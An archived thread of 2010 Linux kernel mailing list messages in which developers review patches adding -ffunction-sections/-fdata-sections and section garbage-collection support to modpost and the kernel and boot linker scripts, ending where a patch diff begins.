Hi Sam,

On Friday 23 July 2010 22:35, Sam Ravnborg wrote:
> > 
> > Then, in order to also garbage-collect the sections, I added
> > 
> > LDFLAGS_vmlinux += --gc-sections
> > 
> > in top-level Makefile.
> > 
> > This requires the additional patch (linux-2.6.35-rc4-fsgs.patch)
> > which adds KEEP(section) directives to kernel linker stripts.
> > Otherwise, linker will discard some crucial sections.
> > 
> 
> Changelog does not address why you need:
> 
>      -Map $@.ldmap
> 
> and what effect they have.

I didn't plan to push the last step (--gc-sections) to mainline yet.
Thus the patch has debugging stuff in it.


> And it is obvious that some archs should consolidate a little more from
> asm-generic/vmlinux.lds.h.
> But that said this patch looks much better than the initial versions posted.
> 
> How do you determine which sections needs the KEEP()?
> Worth documenting for future when we add new sections.

No problem, I will be adding comments at every KEEP() why it's needed.

-- 
vda

From - Thu Nov 08 21:06:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: Testing of function/data-sections on linux-2.6.35-rc4
Date: Mon, 26 Jul 2010 09:23:50 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <20100726072350.GA10061@merkur.ravnborg.org>
References: <201007181703.17022.vda.linux@googlemail.com> <20100723191055.GA27054@merkur.ravnborg.org> <201007260252.57477.vda.linux@googlemail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1280129039 22083 80.91.229.12 (26 Jul 2010 07:23:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 26 Jul 2010 07:23:59 +0000 (UTC)
Cc: Tim Abbott <tabbott@ksplice.com>, Tim Bird <tim.bird@am.sony.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-kernel@vger.kernel.org,
	Matt Fleming <matt@console-pimps.org>,
	linux-arch@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	Michal Marek <mmarek@suse.cz>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Denys Vlasenko <vda.linux@googlemail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 26 09:23:55 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OdI2V-0005wj-1s
	for glpp-linux-parisc@lo.gmane.org; Mon, 26 Jul 2010 09:23:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753544Ab0GZHXy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 26 Jul 2010 03:23:54 -0400
Original-Received: from pfepa.post.tele.dk ([195.41.46.235]:39092 "EHLO
	pfepa.post.tele.dk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753510Ab0GZHXx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 26 Jul 2010 03:23:53 -0400
Original-Received: from merkur.ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepa.post.tele.dk (Postfix) with ESMTP id 8FEE2A50032;
	Mon, 26 Jul 2010 09:23:48 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <201007260252.57477.vda.linux@googlemail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3004 gmane.linux.kernel:1014170 gmane.linux.kernel.cross-arch:7154
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3004>

On Mon, Jul 26, 2010 at 02:52:57AM +0200, Denys Vlasenko wrote:
> On Friday 23 July 2010 21:10, Sam Ravnborg wrote:
> > > 
> > > * modpost fix for 64k+ sections: linux-2.6.35-rc4-fs.modpost.patch
> > >   This patch is in -mm, it still not reach mainline...
> > > 
> > 
> > Some comments below - but noting fundamental.
> >
> > +	/* Fixup for more than 64k sections */
> > +	info->num_sections = hdr->e_shnum;
> > +	if (info->num_sections == 0) { /* more than 64k sections? */
> > +		/* note: it doesn't need shndx2secindex() */
> > +		info->num_sections = TO_NATIVE(sechdrs[0].sh_size);
> > +	}
> > I had to read the above twice to get it.
> > How about something like this:
> > 
> > 	/* Fixup for more than 64k sections */
> > 	if (hdr->e_shnum == 0) {
> > 		/*
> > 		 * There are more than 64k sections,
> > 		 * read count from .sh_size.
> > 		 * note: it doesn't need shndx2secindex()
> > 		 */
> > 		info->num_sections = TO_NATIVE(sechdrs[0].sh_size);
> > 	}
> > 	else {
> > 		info->num_sections = hdr->e_shnum;
> > 	}
> > 
> > 
> > +	info->secindex_strings = hdr->e_shstrndx;
> > +	if (info->secindex_strings == SHN_XINDEX)
> > +		info->secindex_strings =
> > +		    shndx2secindex(TO_NATIVE(sechdrs[0].sh_link));
> > 
> > Likewise here...
> 
> Done both.
> 
> ...
> > -	for (i = 1; i < hdr->e_shnum; i++) {
> > -		const char *secstrings
> > -			= (void *)hdr + sechdrs[hdr->e_shstrndx].sh_offset;
> > +	secstrings = (void *)hdr + sechdrs[info->secindex_strings].sh_offset;
> > 
> > Moving this assignnet out of the loop is an unrelated
> > but welcome change.
> 
> I take you are ok with it?
> 
> Please find updated patch below.
> 
> Signed-off-by: Denys Vlasenko <vda.linux@googlemail.com>

If the patch get a proper changelog then it has my:

Acked-by: Sam Ravnborg <sam@ravnborg.org>

	Sam
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: Testing of function/data-sections on linux-2.6.35-rc4
Date: Mon, 26 Jul 2010 09:27:10 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <20100726072710.GB10061@merkur.ravnborg.org>
References: <201007181703.17022.vda.linux@googlemail.com> <20100723202448.GB27054@merkur.ravnborg.org> <201007260329.09913.vda.linux@googlemail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1280129245 22702 80.91.229.12 (26 Jul 2010 07:27:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 26 Jul 2010 07:27:25 +0000 (UTC)
Cc: Tim Abbott <tabbott@ksplice.com>, Tim Bird <tim.bird@am.sony.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-kernel@vger.kernel.org,
	Matt Fleming <matt@console-pimps.org>,
	linux-arch@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	Michal Marek <mmarek@suse.cz>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Denys Vlasenko <vda.linux@googlemail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jul 26 09:27:22 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1OdI5p-0007SY-Jt
	for glk-linux-kernel-3@lo.gmane.org; Mon, 26 Jul 2010 09:27:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753725Ab0GZH1N (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 26 Jul 2010 03:27:13 -0400
Original-Received: from pfepb.post.tele.dk ([195.41.46.236]:45567 "EHLO
	pfepb.post.tele.dk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753373Ab0GZH1M (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 26 Jul 2010 03:27:12 -0400
Original-Received: from merkur.ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepb.post.tele.dk (Postfix) with ESMTP id 7B8F7F8402F;
	Mon, 26 Jul 2010 09:27:10 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <201007260329.09913.vda.linux@googlemail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1014173 gmane.linux.kernel.cross-arch:7155 gmane.linux.ports.parisc:3005
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3005>

On Mon, Jul 26, 2010 at 03:29:09AM +0200, Denys Vlasenko wrote:
> On Friday 23 July 2010 22:24, Sam Ravnborg wrote:
> > > * fix for kernel linker stripts: linux-2.6.35-rc4-fs.fix-kernel-linker-scripts.patch
> > >   It makes _all_ linker scripts -ffunction/data-sections safe via:
> > >   -       *(.data)
> > >   +       *(.data .data.*)
> > >   
> > 
> > This patch touches both the regular kernel linker scripts and the
> > boot linker scripts.
> > I would strongly prefer a split so you touched the boot linker
> > scripts in a separate patch.
> 
> No problem.
> 
> > In addition the patch handles more sections than
> > documented: rodata, bss, text.
> 
> Yes, that was assumed.
> 
> > The patch introduce the following syntax for input sections:
> > 
> >     *(.bss .bss.*)
> >
> > Where the kernel linker script would have one input
> > section per line.
> > Can we stick to the "layout" used in the kernel linker scripts?
> 
> Sure.
> 
> 
> > The patch in addition in several places changes linker
> > scripts that already uses the two-lines layout to a single line approach.
> > These "fixes" should be omitted.
> 
> Reverted.
> 
> > Why do we need *(.bss .bss.*)?
> > Does -fdata-sections introduce special .bss sectiosn too?
> 
> Yes, it does.
> 
> Please take a look at attached updated patches.
> 
> Signed-off-by: Denys Vlasenko <vda.linux@googlemail.com>

Looks better now - thanks.

With proper changelogs both patches has my:

Acked-by: Sam Ravnborg <sam@ravnborg.org>

	Sam

From - Thu Nov 08 21:06:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: Testing of function/data-sections on linux-2.6.35-rc4
Date: Mon, 26 Jul 2010 09:28:25 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <20100726072825.GC10061@merkur.ravnborg.org>
References: <201007181703.17022.vda.linux@googlemail.com> <20100723203543.GB27288@merkur.ravnborg.org> <201007260331.34372.vda.linux@googlemail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1280129317 22914 80.91.229.12 (26 Jul 2010 07:28:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 26 Jul 2010 07:28:37 +0000 (UTC)
Cc: Tim Abbott <tabbott@ksplice.com>, Tim Bird <tim.bird@am.sony.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-kernel@vger.kernel.org,
	Matt Fleming <matt@console-pimps.org>,
	linux-arch@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	Michal Marek <mmarek@suse.cz>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Denys Vlasenko <vda.linux@googlemail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 26 09:28:34 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OdI6u-0007sv-ID
	for glpp-linux-parisc@lo.gmane.org; Mon, 26 Jul 2010 09:28:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753544Ab0GZH21 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 26 Jul 2010 03:28:27 -0400
Original-Received: from pfepa.post.tele.dk ([195.41.46.235]:39866 "EHLO
	pfepa.post.tele.dk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753014Ab0GZH20 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 26 Jul 2010 03:28:26 -0400
Original-Received: from merkur.ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepa.post.tele.dk (Postfix) with ESMTP id C189AA50011;
	Mon, 26 Jul 2010 09:28:25 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <201007260331.34372.vda.linux@googlemail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3006 gmane.linux.kernel:1014174 gmane.linux.kernel.cross-arch:7156
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3006>

On Mon, Jul 26, 2010 at 03:31:34AM +0200, Denys Vlasenko wrote:
> Hi Sam,
> 
> On Friday 23 July 2010 22:35, Sam Ravnborg wrote:
> > > 
> > > Then, in order to also garbage-collect the sections, I added
> > > 
> > > LDFLAGS_vmlinux += --gc-sections
> > > 
> > > in top-level Makefile.
> > > 
> > > This requires the additional patch (linux-2.6.35-rc4-fsgs.patch)
> > > which adds KEEP(section) directives to kernel linker stripts.
> > > Otherwise, linker will discard some crucial sections.
> > > 
> > 
> > Changelog does not address why you need:
> > 
> >      -Map $@.ldmap
> > 
> > and what effect they have.
> 
> I didn't plan to push the last step (--gc-sections) to mainline yet.
> Thus the patch has debugging stuff in it.
> 
> 
> > And it is obvious that some archs should consolidate a little more from
> > asm-generic/vmlinux.lds.h.
> > But that said this patch looks much better than the initial versions posted.
> > 
> > How do you determine which sections needs the KEEP()?
> > Worth documenting for future when we add new sections.
> 
> No problem, I will be adding comments at every KEEP() why it's needed.

A general comment in vmlinux.lds.h and a careful explanation
in the changelog should be enough.

You should not comment each of the KEEP().

	Sam
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Denys Vlasenko <vda.linux@googlemail.com>
Newsgroups: gmane.linux.kbuild.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 0/4] function/data-sections
Date: Thu, 29 Jul 2010 01:47:52 +0200
Lines: 81
Approved: news@gmane.org
Message-ID: <1280360876-2571-1-git-send-email-vda.linux@googlemail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1280360905 21732 80.91.229.12 (28 Jul 2010 23:48:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 28 Jul 2010 23:48:25 +0000 (UTC)
Cc: lkml <linux-kernel@vger.kernel.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	Tim Abbott <tabbott@ksplice.com>,
	Tim Bird <tim.bird@am.sony.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Matt Fleming <matt@console-pimps.org>,
	Arnd Bergmann <arnd@arndb.de>,
	Anders Kaseorg <andersk@mit.edu>,
	Andi Kleen <andi@firstfloor.org>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Denys Vlasenko <vda.linux@googlemail.com>
To: Michal Marek <mmarek@suse.cz>,
	linux-kbuild <linux-kbuild@vger.kernel.org>,
	linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-kbuild-owner@vger.kernel.org Thu Jul 29 01:48:20 2010
Return-path: <linux-kbuild-owner@vger.kernel.org>
Envelope-to: glkd-linux-kbuild@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kbuild-owner@vger.kernel.org>)
	id 1OeGMD-0006Qi-Om
	for glkd-linux-kbuild@lo.gmane.org; Thu, 29 Jul 2010 01:48:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752598Ab0G1XsR (ORCPT <rfc822;glkd-linux-kbuild@m.gmane.org>);
	Wed, 28 Jul 2010 19:48:17 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:33096 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751768Ab0G1XsP (ORCPT
	<rfc822;linux-kbuild@vger.kernel.org>);
	Wed, 28 Jul 2010 19:48:15 -0400
Original-Received: by fxm14 with SMTP id 14so1531444fxm.19
        for <multiple recipients>; Wed, 28 Jul 2010 16:48:13 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:cc:subject:date
         :message-id:x-mailer;
        bh=AVzHRobJw+UDABf0DvgjMyuvIn2l+pfAhBi3Mbklfhs=;
        b=wugGkyCTG+9/ixSX/mT2L9OO5CJvAlcsZPX2M8YNi6iBhCgdxyXXKPWnqLayW8k6gD
         Zl8YCaOmLwpl/9Nb1OnGULwe3z6n1Jopoftor6lIWUWEx9+aJPQehD+wrADMOsOxp/wI
         9HUdhEg1LAuIzebcAxRM+nDkgsgUWD/TuJP9w=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=googlemail.com; s=gamma;
        h=from:to:cc:subject:date:message-id:x-mailer;
        b=I/aIt7ccNX4kJ14PoSMPvRU9QfrhTghhM4vrvC4rQ2ZT2Xoncnq2dSPM7LgvUKDqDh
         bwOFdimVlYk9DozOdgcIgOpT97xpMVVr91U8ozdqKSmKO55eJufLkZ9iiysOGvxJPfZE
         cHlq2DRiIrFm6OqrZAKwhtgS9e3IPsP/JnZO8=
Original-Received: by 10.223.110.134 with SMTP id n6mr10768888fap.79.1280360892723;
        Wed, 28 Jul 2010 16:48:12 -0700 (PDT)
Original-Received: from localhost.localdomain (221.47.broadband5.iol.cz [88.100.47.221])
        by mx.google.com with ESMTPS id a9sm54590faa.3.2010.07.28.16.48.10
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Wed, 28 Jul 2010 16:48:11 -0700 (PDT)
X-Mailer: git-send-email 1.6.2.5
Original-Sender: linux-kbuild-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kbuild.vger.kernel.org>
X-Mailing-List: linux-kbuild@vger.kernel.org
Xref: news.gmane.org gmane.linux.kbuild.devel:4991 gmane.linux.kernel.cross-arch:7201 gmane.linux.ports.parisc:3008 gmane.linux.kernel:1015431
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3008>

Hi Michal,

Please take this patch series onto linux-kbuild.

Most of work needed for working -ffunction-sections -fdata-sections build
is already in the mainline, but a few bits are still missing.
In order to have a working kernel with this make invocation:
    make KCFLAGS="-ffunction-sections -fdata-sections"
we need these patches:

modpost: support objects with more than 64k sections
    This patch is in -mm, it still did not reach mainline,
    thus resending. Sam suggested some readability improvements.
module linker script: coalesce function and data sections
kernel linker stripts: accomodate function and data sections
boot linker stripts: accomodate function and data sections

Please see individual patches for more detailed changelogs.

A rough idea what sort of size savings are achievable
with section garbage collection:
Kernel:
   text   data    bss     dec    hex filename
8299299 857324 785348 9941971 97b3d3 2.6.35-rc4/vmlinux
7566908 832388 717844 9117140 8b1dd4 2.6.35-rc4-fsgs/vmlinux
  -9.2%  -2.9%  -9.0%   -8.6%
The largest module in the build:
 451009  54640   2224  507873  7bfe1 2.6.35-rc4/fs/xfs/xfs.ko
 450521  54292   2202  507015  7bc87 2.6.35-rc4-fsgs/fs/xfs/xfs.ko
(negligible size change since section garbage collection
for modules is not done. TODO: figure out how to do it)

Signed-off-by: Denys Vlasenko <vda.linux@googlemail.com>
Acked-by: Sam Ravnborg <sam@ravnborg.org>


Denys Vlasenko (4):
  modpost: support objects with more than 64k sections
  module linker script: coalesce sections
  kernel linker stripts: accomodate function and data sections
  boot linker stripts: accomodate function and data sections

 arch/alpha/boot/bootloader.lds               |    6 +-
 arch/arm/boot/bootp/bootp.lds                |    1 +
 arch/cris/boot/compressed/decompress_v10.lds |    3 +
 arch/cris/boot/compressed/decompress_v32.lds |    3 +
 arch/cris/boot/rescue/rescue_v10.lds         |    2 +
 arch/cris/boot/rescue/rescue_v32.lds         |    3 +
 arch/frv/kernel/vmlinux.lds.S                |    1 -
 arch/h8300/boot/compressed/vmlinux.lds       |    2 +
 arch/h8300/boot/compressed/vmlinux.scr       |    1 +
 arch/ia64/hp/sim/boot/bootloader.lds         |    6 +-
 arch/ia64/scripts/check-segrel.lds           |    4 +-
 arch/m32r/boot/compressed/vmlinux.lds.S      |    6 +-
 arch/m32r/boot/compressed/vmlinux.scr        |    1 +
 arch/m68knommu/kernel/vmlinux.lds.S          |    1 +
 arch/mips/lasat/image/romscript.normal       |    1 +
 arch/mn10300/boot/compressed/vmlinux.lds     |    1 +
 arch/parisc/kernel/vmlinux.lds.S             |    1 +
 arch/powerpc/boot/zImage.coff.lds.S          |    2 +
 arch/powerpc/boot/zImage.lds.S               |    2 +
 arch/powerpc/boot/zImage.ps3.lds.S           |    2 +
 arch/sh/boot/compressed/vmlinux.scr          |    1 +
 arch/sh/kernel/vsyscall/vsyscall.lds.S       |    2 +-
 arch/x86/boot/setup.ld                       |    3 +-
 arch/x86/kernel/acpi/realmode/wakeup.lds.S   |    1 +
 arch/x86/kernel/vmlinux.lds.S                |    1 +
 arch/xtensa/boot/boot-elf/boot.lds.S         |    5 +-
 arch/xtensa/boot/boot-redboot/boot.ld        |    5 +-
 include/asm-generic/vmlinux.lds.h            |   18 ++++-
 scripts/mod/file2alias.c                     |    6 +-
 scripts/mod/modpost.c                        |  102 +++++++++++++++++++-------
 scripts/mod/modpost.h                        |   43 +++++++++++
 scripts/module-common.lds                    |   23 ++++++
 32 files changed, 213 insertions(+), 46 deletions(-)

--
To unsubscribe from this list: send the line "unsubscribe linux-kbuild" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Denys Vlasenko <vda.linux@googlemail.com>
Newsgroups: gmane.linux.kbuild.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 3/4] kernel linker stripts: accomodate function and data sections
Date: Thu, 29 Jul 2010 01:47:55 +0200
Lines: 196
Approved: news@gmane.org
Message-ID: <1280360876-2571-4-git-send-email-vda.linux@googlemail.com>
References: <1280360876-2571-1-git-send-email-vda.linux@googlemail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1280360921 21762 80.91.229.12 (28 Jul 2010 23:48:41 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 28 Jul 2010 23:48:41 +0000 (UTC)
Cc: lkml <linux-kernel@vger.kernel.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	Tim Abbott <tabbott@ksplice.com>,
	Tim Bird <tim.bird@am.sony.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Matt Fleming <matt@console-pimps.org>,
	Arnd Bergmann <arnd@arndb.de>,
	Anders Kaseorg <andersk@mit.edu>,
	Andi Kleen <andi@firstfloor.org>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Denys Vlasenko <vda.linux@googlemail.com>
To: Michal Marek <mmarek@suse.cz>,
	linux-kbuild <linux-kbuild@vger.kernel.org>,
	linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-kbuild-owner@vger.kernel.org Thu Jul 29 01:48:37 2010
Return-path: <linux-kbuild-owner@vger.kernel.org>
Envelope-to: glkd-linux-kbuild@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kbuild-owner@vger.kernel.org>)
	id 1OeGMX-0006rb-3k
	for glkd-linux-kbuild@lo.gmane.org; Thu, 29 Jul 2010 01:48:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756657Ab0G1XsY (ORCPT <rfc822;glkd-linux-kbuild@m.gmane.org>);
	Wed, 28 Jul 2010 19:48:24 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:43782 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755841Ab0G1XsU (ORCPT
	<rfc822;linux-kbuild@vger.kernel.org>);
	Wed, 28 Jul 2010 19:48:20 -0400
Original-Received: by mail-fx0-f46.google.com with SMTP id 14so1531455fxm.19
        for <multiple recipients>; Wed, 28 Jul 2010 16:48:18 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:cc:subject:date
         :message-id:x-mailer:in-reply-to:references;
        bh=7ccWA39NtJ+5izqLyeOCIpuZj/HCFpdjKTE9xKWnOj4=;
        b=K0t+5XUBoJ0/1yYAKK86p0JelU3Haq7IDdR6tMwK7afhZFAr4xrHUFC/0YCl6EdrY+
         aG7MCFqlftReEkd0CaHDYG5OYzPjmGDqzjFt6qR2++Pj8wOUEJzX1RpcOsChVNh3fpPh
         qCZ9tS/WP+F6ZFeHONPLmEt+q//daGHzhDy70=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=googlemail.com; s=gamma;
        h=from:to:cc:subject:date:message-id:x-mailer:in-reply-to:references;
        b=QkKdPvct3ZBiBSDtvff6LXMWn9Y3RvrptYi69zKl2k9o6Qts8S9LwLN6ZlqIkKZooh
         04RUT9SvRV98vKBn73yHZ2pApRMwIjcdXba0F0jYJxk48WBHrEHzKD8G4hn9OU1NrbPY
         NXtY6R6TbwJyAi+r4WTIEC20XNtVsGVggsG0g=
Original-Received: by 10.223.122.146 with SMTP id l18mr10730210far.82.1280360898612;
        Wed, 28 Jul 2010 16:48:18 -0700 (PDT)
Original-Received: from localhost.localdomain (221.47.broadband5.iol.cz [88.100.47.221])
        by mx.google.com with ESMTPS id a9sm54590faa.3.2010.07.28.16.48.16
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Wed, 28 Jul 2010 16:48:17 -0700 (PDT)
X-Mailer: git-send-email 1.6.2.5
In-Reply-To: <1280360876-2571-1-git-send-email-vda.linux@googlemail.com>
Original-Sender: linux-kbuild-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kbuild.vger.kernel.org>
X-Mailing-List: linux-kbuild@vger.kernel.org
Xref: news.gmane.org gmane.linux.kbuild.devel:4992 gmane.linux.kernel.cross-arch:7202 gmane.linux.ports.parisc:3009 gmane.linux.kernel:1015432
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3009>

gcc -ffunction-sections -fdata-sections places each function foo
into separate section .text.foo, and every data object bar into
separate section .data.bar, .rodata.bar or .bss.bar.

Kernel linker scripts were not ready for this and linker heuristics
for orphaned sections were not good enough to result in bootable
kernel.

This fix adds *(.text.*), *(.data.*) etc patterns
directly after corresponding *(.text), *(.data) etc patterns
in all kernel linker scripts. Boot scripts will be handled
in the next fix.

include/asm-generic/vmlinux.lds.h is a little bit more complicated.
It needs to avoid collecting special kernel sections
by using more restrictive patterns like *(.text.[A-Za-z0-9_$^]*)
instead of simplistic *(.text.*): special kernel sections like
.text..page_aligned contain double dots and won't be accidentally
matched by them.

Signed-off-by: Denys Vlasenko <vda.linux@googlemail.com>
Acked-by: Sam Ravnborg <sam@ravnborg.org>
---
 arch/frv/kernel/vmlinux.lds.S              |    1 -
 arch/ia64/scripts/check-segrel.lds         |    4 ++--
 arch/m68knommu/kernel/vmlinux.lds.S        |    1 +
 arch/mips/lasat/image/romscript.normal     |    1 +
 arch/parisc/kernel/vmlinux.lds.S           |    1 +
 arch/sh/kernel/vsyscall/vsyscall.lds.S     |    2 +-
 arch/x86/kernel/acpi/realmode/wakeup.lds.S |    1 +
 arch/x86/kernel/vmlinux.lds.S              |    1 +
 include/asm-generic/vmlinux.lds.h          |   18 +++++++++++++++++-
 9 files changed, 25 insertions(+), 5 deletions(-)

diff --git a/arch/frv/kernel/vmlinux.lds.S b/arch/frv/kernel/vmlinux.lds.S
index 8b973f3..9949f1a 100644
--- a/arch/frv/kernel/vmlinux.lds.S
+++ b/arch/frv/kernel/vmlinux.lds.S
